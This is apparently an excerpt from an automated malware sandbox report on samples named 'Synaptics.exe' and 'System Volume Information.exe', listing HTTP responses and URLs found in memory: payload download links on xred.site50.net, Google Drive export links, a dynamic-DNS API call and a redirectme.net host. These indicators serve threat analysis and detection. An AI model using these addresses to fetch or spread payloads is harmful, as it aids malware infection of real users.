ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Tue, 05 Nov 2024 21:44:28 GMTAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Security-Policy: script-src 'report-sample' 'nonce-Gi2i2xejFI31nJwc4c-2yQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportCross-Origin-Opener-Policy: same-originPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Length: 1652X-GUploader-UploadID: AHmUCY3niR10_dbHg3jNVC67IMWCUbtTAfO_R2fyOM6ksb5tBLeoqO60BbY1_gEhlPeZQ4jajbRmqTjqXQServer: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Tue, 05 Nov 2024 21:44:29 GMTContent-Security-Policy: script-src 'report-sample' 'nonce-uDohDEN4MxJ2PqAuLXnd4A' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportCross-Origin-Opener-Policy: same-originAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Length: 1652X-GUploader-UploadID: AHmUCY3MOcDiCfKEGp8FIILeRsoB0n0QD37EYSYg6szsZlp8yfY_p5ku7XidurB99Szcv9G1Ue5r8HQ9gwServer: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Tue, 05 Nov 2024 21:44:31 GMTCross-Origin-Opener-Policy: same-originContent-Security-Policy: script-src 'report-sample' 'nonce-dhIdtpQpM72Zn7uBM5flow' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1652X-GUploader-UploadID: AHmUCY1nlSh-roGU_vcsM_tKUwm1A0neLe8gIGo2GNdhf6g_FnZ7bTcQdZzPL8QHz9KT1gv74PfQvwhWIwServer: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Tue, 05 Nov 2024 21:44:31 GMTCross-Origin-Opener-Policy: same-originPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Security-Policy: script-src 'report-sample' 'nonce-EHm9E5PQN_0EoZnNW1SL7A' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1652X-GUploader-UploadID: AHmUCY02hWyYulEt9mQ6PrMeO2OoEEw214-11dOmS1BrGFbCJ_w3EafFU6TPzzeN47Uq9WH2FfjzE138uQServer: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Tue, 05 Nov 2024 21:44:32 GMTCross-Origin-Opener-Policy: same-originContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-VLTi2lIeMN5O78CcXVvv_g' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Length: 1652X-GUploader-UploadID: AHmUCY2fsVpfzpcY9wlMI0-hkDmXwsbVAoJanVEiCx-5bukBB4lbGNSsz-oBkNZB70KC1LR1InsPMTXW4wServer: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Tue, 05 Nov 2024 21:44:32 GMTContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-XIVnOh3rzjNqMlhWYuWbfw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Cross-Origin-Opener-Policy: same-originPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1652X-GUploader-UploadID: AHmUCY2Pm-anoAnAniRPnLan9lrWymy5RoI5aQImCYYM4yP-MArurkIjq7VpLZB-8Q41pFMwKkaZVjMy2AServer: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close

Source: ._cache_System Volume Information.exe, 00000002.00000002.3261003821.000000000074E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://adnetwork33.redirectme.net/wp-content/the
Source: ._cache_System Volume Information.exe, 00000002.00000002.3261003821.000000000074E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://adnetwork33.redirectme.net/wp-content/themes/booswrap/layers.png
Source: ._cache_System Volume Information.exe, 00000002.00000002.3261003821.000000000074E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://adnetwork33.redirectme.net/wp-content/themes/booswrap/layers.png%
Source: ._cache_System Volume Information.exe, 00000002.00000002.3261003821.000000000074E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://adnetwork33.redirectme.net/wp-content/themes/booswrap/layers.png&s
Source: ._cache_System Volume Information.exe, 00000002.00000002.3261003821.000000000074E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://adnetwork33.redirectme.net/wp-content/themes/booswrap/layers.png)
Source: ._cache_System Volume Information.exe, 00000002.00000002.3261003821.000000000074E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://adnetwork33.redirectme.net/wp-content/themes/booswrap/layers.png-3bc2bcf3ed6d7050e4LMEM
Source: ._cache_System Volume Information.exe, 00000002.00000002.3261003821.000000000074E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://adnetwork33.redirectme.net/wp-content/themes/booswrap/layers.png2s
Source: ._cache_System Volume Information.exe, 00000002.00000002.3261003821.000000000074E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://adnetwork33.redirectme.net/wp-content/themes/booswrap/layers.png9
Source: ._cache_System Volume Information.exe, 00000002.00000002.3261003821.000000000074E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://adnetwork33.redirectme.net/wp-content/themes/booswrap/layers.pngA
Source: ._cache_System Volume Information.exe, 00000002.00000002.3261003821.000000000074E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://adnetwork33.redirectme.net/wp-content/themes/booswrap/layers.pngPa
Source: ._cache_System Volume Information.exe, 00000002.00000002.3261003821.000000000074E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://adnetwork33.redirectme.net/wp-content/themes/booswrap/layers.pngT
Source: ._cache_System Volume Information.exe, 00000002.00000002.3261003821.000000000074E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://adnetwork33.redirectme.net/wp-content/themes/booswrap/layers.pngZs)K
Source: ._cache_System Volume Information.exe, 00000002.00000002.3261003821.000000000074E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://adnetwork33.redirectme.net/wp-content/themes/booswrap/layers.pngoft
Source: ._cache_System Volume Information.exe, 00000002.00000002.3261003821.000000000074E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://adnetwork33.redirectme.net/wp-content/themes/booswrap/layers.pngvs5K
Source: ~$cache1.3.dr	String found in binary or memory: http://freedns.afraid.org/api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978
Source: Synaptics.exe, 00000003.00000002.2462997775.0000000000618000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://freedns.afraid.org/api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978B
Source: System Volume Information.exe, 00000000.00000003.2006233514.0000000002200000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://freedns.afraid.org/api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978P
Source: Amcache.hve.11.dr	String found in binary or memory: http://upx.sf.net
Source: System Volume Information.exe, 00000000.00000003.2006233514.0000000002200000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://xred.site50.net/syn/SSLLibrary.dl
Source: ~$cache1.3.dr	String found in binary or memory: http://xred.site50.net/syn/SSLLibrary.dll
Source: Synaptics.exe, 00000003.00000002.2463452338.00000000021F0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://xred.site50.net/syn/SSLLibrary.dll6
Source: ~$cache1.3.dr	String found in binary or memory: http://xred.site50.net/syn/SUpdate.ini
Source: Synaptics.exe, 00000003.00000002.2463452338.00000000021F0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://xred.site50.net/syn/SUpdate.iniZ
Source: ~$cache1.3.dr	String found in binary or memory: http://xred.site50.net/syn/Synaptics.rar
Source: Synaptics.exe, 00000003.00000002.2463452338.00000000021F0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://xred.site50.net/syn/Synaptics.rarZ
Source: Synaptics.exe, 00000003.00000003.2100404251.0000000005494000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.goo6
Source: Synaptics.exe, 00000003.00000002.2462997775.0000000000618000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000003.2100046007.0000000000687000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000003.2142470584.00000000075D2000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2477005808.000000000EE47000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2462997775.000000000066A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/
Source: Synaptics.exe, 00000003.00000003.2142470584.00000000075D2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/ement-cn.com
Source: Synaptics.exe, 00000003.00000003.2142470584.00000000075D2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/gletagservices-cn.com
Source: Synaptics.exe, 00000003.00000003.2142470584.00000000075D2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/i
Source: Synaptics.exe, 00000003.00000003.2142470584.00000000075D2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/lights-cn.net
Source: Synaptics.exe, 00000003.00000003.2142470584.00000000075D2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/m
Source: Synaptics.exe, 00000003.00000003.2142470584.00000000075D2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/ornia1
Source: Synaptics.exe, 00000003.00000002.2470206871.000000000AF7E000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2471940679.000000000D63E000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2486204805.000000001813E000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2483718202.00000000157FE000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0;
Source: System Volume Information.exe, 00000000.00000003.2006233514.0000000002200000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSTmlVYkxhSDg5TzQ&export=downlo
Source: ~$cache1.3.dr	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSTmlVYkxhSDg5TzQ&export=download
Source: Synaptics.exe, 00000003.00000002.2463452338.00000000021F0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSTmlVYkxhSDg5TzQ&export=downloadN
Source: Synaptics.exe, 00000003.00000003.2100046007.0000000000678000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&e
Source: System Volume Information.exe, 00000000.00000003.2006233514.0000000002200000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downlo
Source: ~$cache1.3.dr	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download
Source: Synaptics.exe, 00000003.00000002.2466284127.00000000076E4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2474262159.000000000EC9E000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2462997775.00000000005DB000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2466284127.000000000769A000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2464452429.00000000053F0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download#
Source: Synaptics.exe, 00000003.00000003.2100046007.0000000000682000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download#A
Source: Synaptics.exe, 00000003.00000003.2100791107.000000000547A000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000003.2142915383.000000000548B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2464452429.000000000548B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download#Q6
Source: Synaptics.exe, 00000003.00000002.2484503756.000000001633E000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download#Z
Source: Synaptics.exe, 00000003.00000002.2474262159.000000000EC9E000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2462997775.000000000066A000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2466284127.000000000769A000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2464452429.00000000053F0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download$
Source: Synaptics.exe, 00000003.00000002.2466284127.00000000076E4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2466284127.0000000007638000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download%
Source: Synaptics.exe, 00000003.00000002.2464452429.00000000053F0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download%KG
Source: Synaptics.exe, 00000003.00000002.2464452429.00000000053F0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download%M
Source: Synaptics.exe, 00000003.00000002.2466284127.00000000076E4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2474262159.000000000EC9E000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2466284127.0000000007638000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2462997775.000000000066A000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2476054614.000000000ED40000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2464452429.00000000053F0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download&
Source: Synaptics.exe, 00000003.00000002.2477005808.000000000EE47000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2462997775.000000000066A000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2466284127.00000000075D0000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2464452429.00000000053F0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download(
Source: Synaptics.exe, 00000003.00000003.2100046007.0000000000678000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2474262159.000000000EC9E000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2477005808.000000000EEBE000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2462997775.000000000066A000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2466284127.000000000769A000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2464452429.00000000053F0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download)
Source: Synaptics.exe, 00000003.00000002.2476505369.000000000EDB0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download)/l
Source: Synaptics.exe, 00000003.00000002.2466284127.00000000076E4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2477005808.000000000EEBE000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2466284127.0000000007638000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2477005808.000000000EE47000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2462997775.000000000066A000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2464452429.00000000054AF000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2476054614.000000000ED40000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download-
Source: Synaptics.exe, 00000003.00000002.2464452429.00000000053F0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download-2%
Source: Synaptics.exe, 00000003.00000002.2477005808.000000000EEBE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download-9y
Source: Synaptics.exe, 00000003.00000002.2486561927.00000000188BE000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download-Z
Source: Synaptics.exe, 00000003.00000002.2466284127.00000000076E4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download-c
Source: Synaptics.exe, 00000003.00000002.2462997775.000000000066A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download-vers
Source: Synaptics.exe, 00000003.00000002.2466284127.00000000076E4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download-z
Source: Synaptics.exe, 00000003.00000002.2466284127.00000000076E4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2474262159.000000000EC9E000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2466284127.0000000007638000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2477005808.000000000EE47000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2464452429.00000000054AF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download.
Source: Synaptics.exe, 00000003.00000002.2466284127.00000000076E4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2477005808.000000000EE47000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download..
Source: Synaptics.exe, 00000003.00000002.2466284127.0000000007638000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2477005808.000000000EE47000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2464452429.00000000054AF000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2476054614.000000000ED40000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download...
Source: Synaptics.exe, 00000003.00000002.2466284127.00000000076E4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download..b01
Source: Synaptics.exe, 00000003.00000002.2476505369.000000000EDB0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download.G
Source: Synaptics.exe, 00000003.00000003.2142915383.00000000054A9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download.c
Source: Synaptics.exe, 00000003.00000002.2462997775.0000000000618000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download.com
Source: Synaptics.exe, 00000003.00000002.2462997775.0000000000618000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download.g
Source: Synaptics.exe, 00000003.00000002.2466284127.00000000076E4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download.m20a
Source: Synaptics.exe, 00000003.00000002.2466284127.00000000076E4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download.u
Source: Synaptics.exe, 00000003.00000002.2466284127.00000000075D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download.uL
Source: Synaptics.exe, 00000003.00000002.2466284127.00000000076E4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2476505369.000000000EDB0000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2477005808.000000000EE47000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2476054614.000000000ED40000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download/
Source: Synaptics.exe, 00000003.00000002.2464452429.00000000053F0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download/(
Source: Synaptics.exe, 00000003.00000002.2462997775.000000000066A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download/down
Source: Synaptics.exe, 00000003.00000003.2100046007.000000000065B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2462997775.0000000000618000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2476505369.000000000EDB0000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2462997775.000000000066A000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000003.2142915383.000000000543A000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2462997775.0000000000637000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2476054614.000000000ED40000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2464452429.00000000053F0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download0
Source: Synaptics.exe, 00000003.00000002.2462997775.00000000005DB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download04214s
